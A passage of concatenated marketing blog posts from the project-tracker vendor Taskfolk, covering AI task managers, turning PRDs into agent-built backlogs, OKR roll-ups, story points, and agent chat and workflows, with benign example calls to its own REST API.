plan the moment reality diverges. For a solo consultant or a three-person team where everyone is drowning in calls, it genuinely buys back planning time. There is no free plan and the seat price is the highest here, so it has to replace real planning overhead to pay for itself. As a shared system of record for a team, it is not trying to be that. **Todoist** is the opposite temperament: a fast, clean list that added AI rather than being built around it. Natural-language capture ("pay rent every first of the month") has been there for years; the newer AI drafts tasks, breaks a big one into steps, and suggests dates. It does not auto-run your calendar, which is the point for people who want to keep that decision themselves. Cheap, and the free tier is usable. **Sunsama** sells a ritual more than an algorithm. It walks you through a daily planning session, pulls tasks in from your other tools, and asks you to time-box the day on purpose. The AI is lighter than Motion's and the pace is deliberately slower; people who bounce off Motion's constant reshuffling often land here. It is a per-person subscription with no meaningful free tier. All three answer the same question, how should I spend today, and none of them is trying to be the place your team's work lives. ## The all-in-one tools with AI bolted on **Notion AI** is worth it if your tasks already live in Notion. AI search across your pages, drafting, and agents that act inside databases are the strengths; as a task tracker underneath, Notion is a database you assemble and maintain yourself, and the agile machinery stays DIY. AI is now bundled into the Business plan rather than sold separately, so the real cost is the seat, not an add-on. **ClickUp Brain** rides on one of the cheapest capable trackers, but the AI is a separate $9 per-user add-on on top of the $7 seat. Priced per member, it can cost more than the tracker itself, so it pays off when the whole team will use it daily and not when three people will. Broad and useful if that condition holds. **Taskade** leans hardest into AI-generated structure: describe a project and it drafts the task list, with agents and generators inside an outliner-plus-board interface. It suits small teams who want AI to do the initial scaffolding and some light automation. It is not a heavyweight tracker, and it is not where agents do sustained work under review. ## The team tool where agents do the work Ours, so calibrate. Taskfolk is a calm tracker, boards, sprints, backlog, docs, forms that create tasks, automations, built around the idea that AI agents are team members rather than a chat feature bolted on. The difference is what an agent is. On the tools above, AI helps a human, or in Motion's case schedules one. On Taskfolk, an AI agent joins as a named member with its own profile and a scoped API key, you assign it tasks the same way you assign a person, and it works them through a first-party MCP server and a REST API that covers over 180 operations. This is what picking up assigned work looks like from the agent's side: ```bash curl "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues?assignee=me&status=todo" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" ``` Every change an agent makes is attributed to that agent in the activity trail, and you can watch its live session on a task while it runs. Control is structural, not polite: review columns and workflow transition rules mean an agent can move a task to "In review" but only a person moves it to "Done." Agents never count as billed seats, so putting more of them to work does not raise the bill. The honest part: Taskfolk is not a personal auto-scheduler. It will not plan your calendar or reflow your afternoon the way Motion does, and if that is the problem you have, buy Motion. Taskfolk is also the youngest tool here, with the smallest integration ecosystem and no plugin marketplace. What it is built for is a team getting real execution out of agents on a board people trust. If that is the job, the fuller argument for the team side is in [the best AI project management software, honestly ranked](/blog/best-ai-project-management-software), and the wider [AI project management](/ai-project-management) picture sits next to it. ## How to choose Answer one question first: is the problem your day, or your team's work? If it is your day, buy a personal AI task manager and choose on temperament. Want the calendar run for you, pick Motion. Want a calm planning ritual, pick Sunsama. Want a fast list with a little AI and none of the reshuffling, pick Todoist. None of these should be stretched into a team system of record. If it is your team, ignore the auto-scheduling pitch entirely and check three things instead: is there an MCP server or full API an agent can work through, does the agent get its own identity so its changes are attributed, and is there a review gate before work is called done. Those three decide whether agents make your board faster or just noisier. Taskfolk is built around all three; start free on [pricing](/pricing) and put one agent on one project for a week before you commit. --- # Turn a PRD into epics, stories and tasks agents can build URL: https://taskfolk.ai/blog/turn-a-prd-into-epics-and-tasks Published: 2026-07-19 Updated: 2026-09-24 Author: The Taskfolk team Tags: issue tracking, AI agents, developer, multi-agent, agentic project management, MCP, workflow, Claude Code, Cursor, how-to Give your AI coding agents a plan they can build. Paste a PRD, Taskfolk drafts the backlog, then Cursor, Claude Code and Codex work it through your workflow. In 2026 the coding agent works. You describe a feature and [Cursor, Claude Code, or Codex writes the files, runs the tests, and iterates until it builds](https://www.teamday.ai/blog/complete-guide-agentic-coding-2026). Some teams now run a whole [roster of agents, one for product, one for architecture, one for the frontend](https://www.marktechpost.com/2026/06/10/ai-coding-agents-development-platforms-2026/). The dream is a small team of AI agents shipping a real app while you point them at the goal. Then you try it, and the wall is not the code. It is coordination. The agents are great at building and hopeless at knowing what to build, in what order, and what is already done. So you become the bottleneck: writing every ticket, tracking every state, telling each agent what is next, reviewing all of it by hand. The team of agents you wanted turns out to be one tired human dispatching robots. Taskfolk is the board where you and your agents plan and build together. This post is the whole loop, from a spec to a shipped feature, with agents doing the work and you staying in control. It starts with a document. ## Start with the spec: PRD, FRD, or a paragraph Everything good downstream comes from writing down what you actually want. In spec-driven development [the specification becomes a contract between you and the coding agent](https://www.thoughtworks.com/en-us/insights/blog/agile-engineering-practices/spec-driven-development-unpacking-2025-new-engineering-practices), the thing it keeps referring back to so it stops guessing. Two acronyms carry most of the weight. | Document | What it captures | Who it is for | |---|---|---| | PRD (product requirements) | What to build and why. The intent. | Product, stakeholders | | FRD (functional requirements) | How it should behave. The specific functions and rules. | Engineering, the agent | | Spec / design doc | Behavior, architecture, edge cases, acceptance criteria. | The implementer, human or agent | Here is the freeing part: you do not need a polished PRD to start. Taskfolk reads whatever you have, down to a paragraph you typed before bed, or a spec your AI wrote for you. The point is a plan the agents can execute against, instead of a one-line prompt and a hope. ## Turn the spec into a backlog Open a project, click AI work breakdown on the board, and paste the brief. Or upload it: a PDF, a Word doc, Markdown, or a photo of a whiteboard. PDFs and images are read natively, so a scanned one-pager works, not only clean text. ![The AI work breakdown dialog with a Paste text tab and an Upload a file tab, a text area reading "Paste a PRD, spec, or brief," and a Generate breakdown button.](/images/blog/turn-a-prd-into-epics-and-tasks-input.webp) Taskfolk reads the document and, when something is genuinely ambiguous, asks first. "Is single sign-on in scope for v1?" "One epic for payments, or split refunds out?" You answer two questions instead of writing a design doc, and it folds the answers in. A clear brief skips straight to the draft. What comes back is an editable tree: epics, the stories and tasks under each, and the subtasks under those. Untick anything you do not want, rename inline, then create. Nothing lands on your board until you confirm. ![The review step showing a proposed backlog: an epic "Dark mode theming foundation" with nested stories carrying label chips, each broken into subtasks like "Create theme context and provider" and "Expose useTheme hook."](/images/blog/turn-a-prd-into-epics-and-tasks-review.webp) Now the spec is a set of scoped, buildable units, ranked in your backlog. This is the context that keeps an agent on track: instead of "add dark mode," which it could interpret five ways, it gets "expose theme tokens as CSS variables" with a clear acceptance line. And the source document is saved as a project doc that every generated epic links back to, so six weeks later you still know where the plan came from. ### A worked example Say you paste this, and nothing else: ```text Build a dark mode toggle for the web app. Add a toggle in Settings and in the top bar. Persist each user's choice in their profile, default new users to their operating system preference, and apply the theme with no flash on first load. ``` Taskfolk decides the brief is clear, skips the questions, and drafts one epic with the stories and subtasks to deliver it: define the theme tokens, build a theme provider and a useTheme hook, wire the toggle into settings and the top bar, persist the choice per user, and prevent the flash on first paint. That is the tree in the screenshot above. You did not write a ticket, and in a minute you have work an agent can pick up, like APP-14 further down. ## Put your agents on the team A backlog is only useful if something works it. In Taskfolk an AI agent is a real workspace member, not a bolt-on: a name, an avatar, a role, sitting in the same member list as your people. You connect it once over the [first-party MCP server or the REST API](/developer), and from then on you assign issues to Cursor, Claude Code, Codex, Copilot, Windsurf, Cline, or Gemini exactly the way you assign them to a teammate. ![The Bots page showing connected agents in the workspace member directory, each with a provider badge, alongside the sessions area where their work appears.](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) Assignment is the whole handoff. The moment you put an agent on an issue, Taskfolk creates a pending session for it, and the agent's runtime claims that work by calling the API with the issue key. That call is the same over plain REST or MCP: ```bash curl -X POST https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{"title": "Build the theme provider", "issue_key": "APP-14"}' ``` ```javascript await fetch("https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions", { method: "POST", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ title: "Build the theme provider", issue_key: "APP-14" }), }); ``` ```python import os, requests requests.post( "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, json={"title": "Build the theme provider", "issue_key": "APP-14"}, ) ``` The agent then reports progress with a live session you watch on the ticket. Full walkthrough in [how to delegate work to an agent](/docs/how-to-delegate-work-to-an-agent). Because every human action in Taskfolk has a [programmatic twin](/ai-agents), the agent drives the same board you do, and every change stays attributed to whoever made it. ## Route the work with a workflow Assigning one ticket by hand is fine once. A real build has dozens, and you do not want to be the router. Workflows let you draw the path a ticket takes through agents and people on a canvas, and then every ticket routes itself. A build workflow usually reads: an implementation agent picks up the ticket, a second agent reviews the diff, and a human approves the ticket before the change lands. Each stage hands off on its own. ```mermaid flowchart LR T["Ticket from the backlog"] --> I["Implement, coding agent"] I --> R["Review, review agent"] R --> A["Approve, you"] A --> D["Done"] R -->|"changes requested"| I ``` ![A workflow that routes a ticket through an implementation stage, a review stage, and a human approval gate before it completes, with the run overlay showing where a ticket sits.](/images/blog/human-in-the-loop-approval-for-ai-agents-workflow.webp) This is where the "team of agents" actually becomes a team. One agent hands to another, work runs in parallel where the graph allows, and you sit at the approval gate instead of the dispatch desk. Two agents can even [coordinate through status handoffs](/blog/coordinate-two-agents-with-issue-status-handoffs) without you in the middle. Setup lives in [chat and orchestrate your AI agents](/blog/chat-and-orchestrate-your-ai-agents). ## Watch it work, and stay in control Autonomy without visibility is how you end up with a surprise. The board shows every agent session live: which agent is running, which is blocked and needs input, which is ready for review. ![The Bots page sessions list with state badges (Pending, Running, Needs input, In review, Done) and last-active times, the workspace-wide view of what every agent is doing.](/images/blog/how-to-delegate-work-to-an-agent-sessions-list.webp) Control is wired into every stage: - **Human in the loop by choice.** Put an approval stage in the workflow and the ticket cannot move past it until you approve. The pattern is spelled out in [human in the loop approval for AI agents](/docs/human-in-the-loop-approval-for-ai-agents). - **Field permissions.** You decide what an agent is even allowed to touch on an issue, so a build agent cannot quietly reassign or close things. - **Attribution.** Every create, status change, and comment lands in the activity log with the actor, human or agent, so an audit is one read, not a forensic exercise. - **Connected to the code.** Mention a ticket in a commit and it shows up on the issue, so the plan and the code stay in sync. ## The whole loop, in one picture ```mermaid flowchart LR S["PRD, FRD, or a paragraph"] --> B["AI work breakdown"] B --> BL["Epics, stories, subtasks"] BL --> W["Workflow routes each ticket"] W --> AG["AI agents implement and review"] AG --> H["You approve"] H --> SH["Shipped, and traceable to the spec"] ``` A document goes in. A team of agents and one human ship a feature. The spec, the backlog, the agent sessions, and the commits are all one connected thread, not four disconnected tools. ## Where this sits next to your coding agent Your coding agent plans and builds inside the editor, and that is exactly where it should. [Spec toolkits generate tasks as markdown files in your repo](https://github.com/github/spec-kit/blob/main/spec-driven.md) for that agent to consume. Taskfolk is the layer above: the shared board where the plan lives, the place you assign and route work across more than one agent and more than one person, and the record of what was decided and done. Keep specifying in your editor. Let Taskfolk hold the backlog, run the orchestration across agents and people, and keep the record of what got decided. They fit together, each doing a different job. ## The honest limits - **The breakdown is a first draft, not a finished plan.** It is very good at turning prose into a sensible structure. It is not a substitute for a real planning conversation. Read it like a strong junior's first cut. - **You review before any issue is created, and the workflow holds at your approval stage before a ticket moves on.** Both gates are yours by design. - **Agents are bring your own.** Taskfolk does not run the model. You connect Cursor, Claude Code, Codex, Copilot, Windsurf, Cline, Gemini, Devin, or any MCP or REST client, and it acts under your rules. - **AI work breakdown is a Pro and Business feature.** Reading a document and drafting a full backlog is metered work. See [pricing](/pricing). ## Try it on your next build Open a project, click AI work breakdown, and paste the spec, the FRD, or the paragraph you were about to hand your coding agent anyway. Review the backlog, connect an agent, and route the first ticket through a workflow. You get the team of AI agents you wanted, on a board you actually control. When you are ready to automate the routing, [automate project management with AI](/blog/automate-project-management-with-ai) is the next step, and [Taskfolk for AI agents](/ai-agents) is the map of the whole surface. --- # OKRs that roll up from the work, not a spreadsheet URL: https://taskfolk.ai/blog/okrs-that-roll-up-from-real-work Published: 2026-07-17 Updated: 2026-07-28 Author: The Taskfolk team Tags: project planning, project management, Taskfolk Portfolios and OKRs inside the tracker. Goals carry key results that roll up from real issues, ladder into company objectives, and keep their status current. Most teams write OKRs in a document in the first week of the quarter, then never open it again until the last. The objectives live in one tool and the work lives in another, so keeping them in sync is a manual chore that quietly falls off everyone's plate. By the time someone refreshes the numbers for the review, the quarter is already over and the meeting turns into archaeology. Taskfolk takes a different route. Portfolios and Goals sit inside the tracker, next to the board and the backlog, and a goal's progress is computed from the issues your team is already moving. You set the objective once and the number keeps itself current. Here is how it works, and where it honestly stops. ![The Goals hub: objectives with live status and progress, grouped by portfolio or shown as company goals](/images/blog/goals-okrs-hub.webp) ## Portfolios group projects into one rollup Real work rarely fits in a single project. A launch touches the web app, the API, and mobile; a platform effort spans four teams. A **portfolio** is just a named group of projects, and its detail page gives you the combined picture: throughput, cycle time, status mix, and workload across every project in the group. It is the same cross-project analytics that powers workspace Insights, pointed at the set of projects you care about. So instead of opening five project dashboards and adding them up in your head, you open one portfolio and see the quarter. ![A portfolio card showing combined completion across its projects](/images/blog/goals-okrs-portfolios.webp) ## Goals carry key results that measure themselves A goal is an objective with a cycle (a start and a due date, usually a quarter) and a set of key results. Each key result is measured one of two ways, and this is the part that keeps OKRs honest: - **A manual metric.** Give it a start, a target, and a current value, plus a unit. "Activated teams, from 200 to 1,000." You update the current number when it changes, and progress is the fraction of the way there. - **Auto, from the work.** Pick a scope (a portfolio, specific projects, an issue type, a label, an assignee) and the key result tracks the share of that work that is done. Nobody edits a number by hand. It moves as issues close. The per-project version of that number lives in the [project Summary tab](/docs/how-to-read-the-project-summary). Key results are weighted, so a goal's progress is the weighted average of its key results, not a flat count. A goal with a heavy revenue KR and a lighter hygiene KR reads the way you would expect. ![A goal with two weighted key results and a rolled-up progress bar](/images/blog/goals-okrs-goal-detail.webp) In the shot above, the goal sits at 64 percent, the roll-up of its two key results at 55 and 73. Both carry equal weight here, so it lands on their average; give the revenue KR more weight than the retention one and the number leans toward revenue. No spreadsheet formula, no manual roll-up: the math is done where the work is. ## How the roll-up actually behaves A few details in how Taskfolk computes a KR are worth knowing, because they are the difference between a number you trust and one you second-guess. A manual metric is direction-agnostic. Most examples grow (200 users to 1,000), but plenty of real key results shrink: churn from 5 percent to 2 percent, median setup time from 35 minutes to 10. You give it a start, a target, and the current value, and Taskfolk reads progress as the fraction of the way from start to target, whichever direction that runs. A descending metric is not a special case you have to fake with inverted numbers. An unmeasured KR drops out rather than dragging the goal to zero. If you have written a manual key result but not filled in its current value yet, it does not count as 0 percent and tank the goal's number on day one. It simply sits out of the average until it has a value. Auto key results are always measured, because the work scope they point at always has a completion share, even if that share is zero. And because a goal can align to a parent, a parent goal rolls up its own key results plus the progress of its child goals, each carried at its weight. Company progress is a weighted mean of the objectives under it, all the way down to the issues closing on a board. Nobody re-keys a number at any level. ## Alignment ladders goals up to the company objective A goal can align to a parent goal, so a team objective ladders up to a company objective, and progress rolls all the way to the top. The result is a tree you can actually read: ```mermaid flowchart TD C[Company: Default tracker for AI-native teams] --> G1[Reach 1,000 activated teams] C --> G2[Cut time-to-first-value under 10 min] G1 --> K1[Activated teams 200 to 1,000] G1 --> K2[Week-1 retention 30% to 60%] G2 --> K3[Median setup 35 to 10 min] ``` The **Goals map** renders that same hierarchy as an interactive canvas: company objectives, portfolios, goals, and key results, filterable and groupable by portfolio or status. It is the OKR tree and the roadmap in one view. ![The Goals map: a radial canvas of portfolios, goals, and key results](/images/blog/goals-okrs-map.webp) ## Status that updates itself Every goal gets a status: on track, at risk, or off track (plus a quiet "not started" until it has any measured progress, and "done" once it hits 100 percent). Taskfolk derives it by pacing progress against the cycle rather than against a fixed percentage. The rule is a gap between how far along the work is and how far along the calendar is. Stay within about 10 points of the calendar (or ahead of it) and you are on track; fall 10 to 25 points behind pace and it flips to at risk; more than 25 points behind and it reads off track. A goal that is 30 percent done a third of the way through the quarter is fine; the same 30 percent three quarters through is off track. If a goal has no cycle dates to pace against, Taskfolk falls back to plain progress bands instead. You can override the status when you know something the calendar does not, and the override wins over the derived value until you clear it. Otherwise the default keeps itself current. A background worker re-runs this on a schedule and caches the result. It only pings you when a goal gets worse: the first time it slips into at risk or off track, the owner, the portfolio lead, and anyone watching the goal get a notification, and the goal shows up in the weekly digest email. It does not re-ping while the goal holds at that state, so the alert means something changed. You find out a goal is in trouble while there is still a quarter left to fix it, not at the retro. ## On every plan, not just the enterprise tier Portfolio management and OKRs are usually the thing vendors lock behind the most expensive plan. Taskfolk ships them on every plan, capacity-capped instead of feature-gated: the Free plan includes one portfolio and three goals, and paid plans raise the caps. A small team gets to run real objectives without an enterprise contract, which is the whole point of putting goals next to the work. ## OKRs in the API and over MCP Everything a person does in the Goals hub has a programmatic twin. Portfolios, goals, and key results are full REST resources, and because Taskfolk's MCP server derives from the same OpenAPI spec, an AI agent can create and update them in natural language too. Creating a goal with a key result is one call: ```bash curl -X POST https://taskfolk.ai/api/v1/workspaces/acme/goals \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{"title":"Reach 1,000 activated teams","cycle_due_at":"2026-09-30"}' ``` ```javascript const goal = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/goals", { method: "POST", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ title: "Reach 1,000 activated teams", cycle_due_at: "2026-09-30", }), }, ).then((r) => r.json()); ``` ```python import os, requests goal = requests.post( "https://taskfolk.ai/api/v1/workspaces/acme/goals", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, json={"title": "Reach 1,000 activated teams", "cycle_due_at": "2026-09-30"}, ).json() ``` Point a coding agent at the workspace and it can open a key result scoped to its own backlog, then watch its own progress climb as it closes issues. ## Where a dedicated OKR platform still wins Be straight about the edge. If you run OKR cascades across dozens of teams with formal check-in cadences, confidence scoring, and a strategy function that owns the process, a standalone platform built only for that will go deeper than Taskfolk does. Taskfolk's bet is smaller and more connected: goals that live where the work lives, so the objective and the tracker are the same tool and the numbers never drift. For most teams and portfolios shipping real delivery, that is the version that actually gets used. ## Try it on your own work Open a [free workspace](https://taskfolk.ai), group a couple of projects into a portfolio, and set one goal with a key result tied to a real backlog. Give it a week and see whether the number moves on its own. That is the test that matters. And if your quarter is really about a ship date, [planning releases and milestones](/docs/how-to-plan-releases-and-milestones) is the better frame for it. --- # Story points or hours, and parallel sprints across squads URL: https://taskfolk.ai/blog/story-points-or-hours-and-parallel-sprints Published: 2026-07-17 Updated: 2026-07-28 Author: The Taskfolk team Tags: estimation, sprints, agile, project management Estimate in story points or hours per project (Fibonacci, points-based velocity) and run parallel sprints when squads share a project. Both opt-in, every plan. Two things people assume a calm, opinionated tracker cannot do: estimate in story points, and run more than one sprint at a time. Taskfolk used to prove them right on both counts, on purpose. It does not anymore. Both are here, both are opt-in, and neither one turns the tool into an everything-suite. Here is how they work and, just as important, where the defaults still point. ## Estimate in points or hours, your call Estimation is a per-project setting now. Open a project's settings and pick how it estimates work: time, story points, or none. Time is still the default, so nothing changes for the teams that never wanted points. Flip a project to points and its estimation surface changes to match. ![The project Estimation setting: time, story points, or none, chosen per project](/images/blog/points-settings.webp) That per-project choice matters more than it looks. A design team can run on time while the platform squad runs on points, in the same workspace, without either one bending to the other. The switch is not global and it is not permanent; change it whenever the team's practice changes. ## The Fibonacci pick, right on the issue When a project uses points, the estimate on an issue becomes a Fibonacci quick-pick: 1, 2, 3, 5, 8, 13, 21, and a "?" for "not estimated yet." One click sets it. There is a custom field next to the scale for the rare estimate that does not fit the ladder, but the scale is what you will reach for. ![The Fibonacci story-point picker in the issue side rail](/images/blog/points-fibonacci.webp) Points ride along everywhere the issue goes. On the board, each card wears its points, so you can read the weight of a column at a glance without opening anything. ![Story points shown as a badge on every board card](/images/blog/points-on-board.webp) ## Velocity and burndown follow the unit This is the part that makes points real rather than decorative. A points project reports velocity and burndown in points, not issue count. A sprint reads "committed 34, burned 29" in points; the burndown line falls by the weight of each card as it closes, not by one per issue. A time project keeps its issue-count velocity, exactly as before, so the switch never changes the numbers for teams that did not ask for it. The unit is chosen once, per project, and every report downstream respects it. If sprints themselves are new to your team, [how to run a sprint](/docs/how-to-run-a-sprint) walks through the full plan, start, and complete cycle. Flow metrics are the same either way. Cycle time and lead time with percentiles are computed from each issue's own history, so they do not care whether you estimated in points, hours, or nothing at all. ## Parallel sprints when squads share a project The other old limit was one active sprint per project. Starting a sprint used to quietly pause any other running one. That is gone. A project can now run several active sprints at once, so two squads sharing a codebase each keep their own sprint running side by side. ![Two sprints active at the same time in one project](/images/blog/parallel-sprints.webp) Start a sprint and it goes active without touching the others. The board's sprint switcher scopes the columns to whichever sprint you are looking at and marks every active one, so "which board am I on" stays a one-click answer even with two or three running. Burndown gets a small sprint picker for the same reason: pick the squad, read its line. ## Still time-first by default Being honest about the defaults is the whole point of a calm tracker. Time estimation is still the default, and a fresh project runs one sprint at a time until you decide otherwise. Nothing here forces planning poker on a team that never wanted it, and nothing forces two squads onto one project when one sprint is plenty. These are options you turn on when the shape of your team calls for them, not ceremony bolted onto every project. If your team never trusted point inflation, keep the default and let issue-count velocity be blunt in a good way. If you run on poker, turn the project to points and estimate in the scale you already know. Both are first-class; neither is the tax. Either way, [AI sprint planning](/blog/ai-sprint-planning-what-works) covers where a model genuinely helps size and load a sprint before you commit it. ## In the API too Everything above has a programmatic twin. A project's estimation unit and an issue's story points are both in the REST v1 API, and because the MCP server derives from the same spec, an agent can set them in natural language. Turning a project to points and pointing an issue is two calls: ```bash curl -X PATCH https://taskfolk.ai/api/v1/workspaces/acme/projects/APP \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{"estimation_unit":"points"}' curl -X PATCH https://taskfolk.ai/api/v1/workspaces/acme/projects/APP/issues/APP-1 \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{"story_points":8}' ``` ```javascript const base = "https://taskfolk.ai/api/v1/workspaces/acme/projects/APP"; const headers = { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }; await fetch(base, { method: "PATCH", headers, body: JSON.stringify({ estimation_unit: "points" }) }); await fetch(`${base}/issues/APP-1`, { method: "PATCH", headers, body: JSON.stringify({ story_points: 8 }) }); ``` ```python import os, requests base = "https://taskfolk.ai/api/v1/workspaces/acme/projects/APP" h = {"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"} requests.patch(base, headers=h, json={"estimation_unit": "points"}) requests.patch(f"{base}/issues/APP-1", headers=h, json={"story_points": 8}) ``` ## Try it on a real project Open a [free workspace](https://taskfolk.ai), set one project to points and estimate a sprint in the Fibonacci scale, or start a second sprint on a project two squads already share. Both are on every plan, and both are the kind of thing you only miss until it is there. --- # Chat with your AI agents, then put them in a workflow URL: https://taskfolk.ai/blog/chat-and-orchestrate-your-ai-agents Published: 2026-07-17 Updated: 2026-09-24 Author: The Taskfolk team Tags: AI agents, workflow, multi-agent, project management, automation DM an AI agent or @mention it in a channel, watch it work, and connect agents and people on a canvas so a ticket routes itself through triage, build and review. Two things change once AI agents are real teammates instead of a background job. You want to talk to them, the way you would ping a colleague. And you want to line several of them up so a piece of work moves from one to the next without you shepherding every step. Taskfolk now does both. There are two ways to work with an agent. You assign it a task, or you talk to it. Both live where your team already works, so there is nothing new to learn. ## Chat with an agent Agents are part of team chat. Open a direct message with one, or @mention it in a channel, and it answers in the same thread. Its provider shows next to its name, so you always know whether you are talking to Claude Code, Codex, Cursor, or your own script. It posts back as it works, so you can follow along instead of waiting for a wall of text at the end. ![The agent "Omar's Claude Code" replying in the #general channel, its Claude Code provider badge shown next to its name](/images/blog/chat-and-orchestrate-your-ai-agents-mention.webp) Unread counts cover agent conversations the same as any other, so a reply from an agent never slips past you. If you would rather hand off work than discuss it, assign the issue to the agent from the same picker you use for people. Taskfolk opens a session, notifies the agent, and keeps every change traceable to the agent that made it. Once a few are connected, [managing a team of AI agents](/blog/manage-a-team-of-ai-agents) covers keeping track of what each one is doing. ![The issue assignee picker open with a People group and an Agents group, so you hand work to an agent exactly like a teammate](/images/blog/chat-and-orchestrate-your-ai-agents-assign-workflow.webp) ## Put your agents in a workflow Talking to one agent is useful. The bigger shift is connecting several of them so a ticket routes itself. That is what the workflow builder is for. If you want to see that team laid out before you wire it, [map your agent team](/docs/how-to-map-your-agent-team) first. Open Workflows, and you get a canvas. Drop in stages, connect them left to right, and you have a pipeline. A stage is handled by an agent or a person. There is a start, an end, a condition node that branches on a field like priority or label, and a parallel node that fans work out to several agents at once. ![The Taskfolk workflow builder: a bug-triage pipeline with agent and person stages, a parallel fan-out, and a Yes/No condition branch](/images/blog/workflows-builder-canvas.webp) The workflow above is a real one. A new bug comes in and goes to a triage agent that reproduces it, labels it, and sets a priority. A condition checks whether it is high priority. If it is, the work fans out: one agent opens a pull request with the fix while another updates the docs, and both have to finish before a person reviews and the ticket is marked shipped. If it is not urgent, it drops to a person to groom into the backlog. You draw that once, and every bug follows it. ## Sequential, parallel, or branching, your call A workflow is not just a straight line. Chain stages one after another for a simple handoff. Fan out with a parallel node when two agents can work at the same time, and the merge waits for all of them before it moves on. Add a condition node to send urgent work down one path and everything else down another. You compose the shape your team actually follows, not a fixed template. Each stage completes on a real signal, not a guess. An agent stage advances when the agent marks its session ready for review or done. A person stage advances when they move the ticket into a done status, or click Mark stage done. Then the workflow assigns the next stage to whoever owns it and pings them. If an agent is offline, its stage waits and the run is flagged so a human can step in, rather than silently stalling. ## Assign a ticket to a workflow On any issue you can now assign to a workflow, an agent, or a person. Pick a workflow and the ticket enters it at the start and begins moving through the stages. The issue shows its current stage, and you can open the full run to watch it light up as each stage runs, completes, and hands off. ![An issue routed through the Bug triage and fix workflow, its run stage strip running from Triage through the branch and fan-out to Shipped, with the current stage highlighted](/images/blog/chat-and-orchestrate-your-ai-agents-run-strip.webp) ![The Workflows area, where you build and enable pipelines for your workspace](/images/blog/workflows-list.webp) One honest note on how this works. Taskfolk does not run the models. You bring your own agents, connected over the MCP server and the REST API, and Taskfolk is the layer that assigns work, delivers the events, records what happened, and coordinates the handoffs. That keeps you in control of which agents run and how, and it means every move an agent makes lands in the activity log with its name on it. ## It is in the API too Everything above has a programmatic twin. Create a workflow, define its graph of nodes and edges, enable it, and route a ticket through it, all over the REST v1 API. Because the MCP server derives from the same spec, an agent can build and run a workflow in natural language. You and your agents drive the same pipelines from the same place. ## Try it on a real project Open a [free workspace](https://taskfolk.ai), connect an agent from the Bots page, then DM it in chat or drop it into a workflow and route a ticket through. Chatting with your agents and orchestrating them is on every plan, and the first workflow takes about a minute to draw. --- # ClickUp alternatives for teams who want calm, not more features URL: https://taskfolk.ai/blog/clickup-alternatives-simpler-with-agents Published: 2026-07-16 Updated: 2026-07-28 Author: The Taskfolk team Tags: alternatives, project management, AI agents, comparison, pricing, engineering management, migration ClickUp alternatives for teams who want a tracker they will actually adopt. July 2026 pricing, where ClickUp still wins, and Taskfolk's free agent members. You built three views on Tuesday that nobody asked for, and by Wednesday you were quietly wondering whether the tool was the problem. That is usually the moment people start searching for ClickUp alternatives. Not because a feature is missing, but because there are too many of them, and your team spent two weeks learning the thing before a single ticket actually moved. This is an honest comparison, and honest means it cuts both ways. ClickUp is a genuinely capable product, and there are jobs where it is still the right buy. I will say exactly where those are. But if what you actually want is a tracker people open without a training doc, the everything-app is working against you, and it helps to name that out loud before you spend another sprint fighting it. The searcher's real question is never "which tool has more features." It is "will my team adopt this." Hold onto that. Every point below is measured against it. ## Why teams start hunting for a ClickUp alternative The trigger is rarely a gap. It is the opposite. ClickUp can do so much that the doing gets in the way. You do not have to take a competitor's word for it. G2's own long-form ClickUp review, which is broadly positive, concedes the tool "can feel overwhelming at first," that notifications get noisy, and that it can run slow in larger workspaces (as of July 2026, per G2's editorial review). The steep initial learning curve shows up as a recurring con across G2 reviews. That is the friendly critic talking, not a rival. The numbers around ramp-up come from elsewhere. Independent 2026 guides put team proficiency at roughly two to three weeks of structured learning: basic task management in one to three days, real mastery in four to six weeks. Those same guides attribute the overwhelm to 15+ views and 1,000+ customization options (as of July 2026, third-party estimate, not a figure ClickUp or G2 publishes). Treat the two-to-three-week number as what it is, an outside estimate, not a vendor claim. Your mileage will vary with how disciplined your admin is about turning things off. Here is the thing that number really measures. Two to three weeks is not the cost of the software. It is the cost of getting a team of people to agree on one way to use software that supports fifty ways. The tool is flexible, so the humans have to supply the opinion the tool declined to have. That work is invisible on a pricing page and very visible in your Tuesday. So when people look for ClickUp alternatives, the honest version of the query is "something my team will actually open." Fewer decisions to make before the first ticket moves. If you are weighing the whole category and not just ClickUp, the same tension runs through the seat-price math in [our Jira alternatives breakdown](/blog/jira-alternatives-price-per-seat), and if speed is your sticking point, [the Linear comparison](/blog/linear-alternatives-speed-and-price) is the sibling to read. ## What calm costs, and what it buys Let me be blunt about the trade, because pretending there is no trade is how comparison posts lose your trust. A calm tracker means fewer views. One opinionated way to do the common things. Faster adoption because there is less to learn. The cost is real: you give up breadth. Taskfolk deliberately ships far fewer views than ClickUp, and it has no docs-plus-whiteboards-plus-goals-plus-notetaker spread inside one SKU. That is not an oversight we are hiding. It is the pitch. You are choosing a smaller surface on purpose, the same way you might choose a paring knife over a twelve-tool multitool for a job you do every day. "Fewer" should not read as "thin," though, so here is the actual surface. Taskfolk gives you a kanban board with custom named, coloured, ordered columns, WIP limits, and drag-to-reorder. Then a ranked backlog, sprints, a list view, a calendar, a Gantt with real dependencies, a mind map, reports, docs, forms, and team chat. That is enough to run a product team end to end. What it is not is a wiki-slash-CRM-slash-office-suite. If you need that, keep reading to the "where ClickUp still wins" section, because I mean it. ![A kanban board in Taskfolk with custom named and coloured 